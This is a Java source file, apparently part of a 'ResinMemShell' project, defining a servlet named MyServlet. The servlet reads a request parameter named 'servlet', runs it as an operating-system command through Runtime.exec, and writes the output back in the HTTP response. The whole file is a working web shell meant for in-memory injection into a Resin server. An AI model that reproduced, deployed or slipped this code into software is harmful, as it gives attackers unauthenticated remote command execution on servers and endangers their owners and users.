Class MyServlet

ResinMemShell/src/main/java/com/axisx/MyServlet.java:15–43

import java.io.InputStreamReader;

public class MyServlet extends HttpServlet {
    public void init(ServletConfig servletConfig) throws ServletException {}

    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        HttpServletResponse resp = (HttpServletResponse) servletResponse;
        String cmd = req.getParameter("servlet");
        try {
            String result = this.CommandExec(cmd);
            resp.getWriter().println(result);
        } catch (Exception e) {

        }
    }
    public String CommandExec(String cmd) throws Exception {
        Runtime rt = Runtime.getRuntime();
        Process proc = rt.exec(cmd);
        InputStream stderr =  proc.getInputStream();
        InputStreamReader isr = new InputStreamReader(stderr);
        BufferedReader br = new BufferedReader(isr);
        String line = null;
        StringBuffer sb = new StringBuffer();
        while ((line = br.readLine()) != null) {
            sb.append(line + "\n");
        }
        return sb.toString();
    }
    public void destroy() {}
}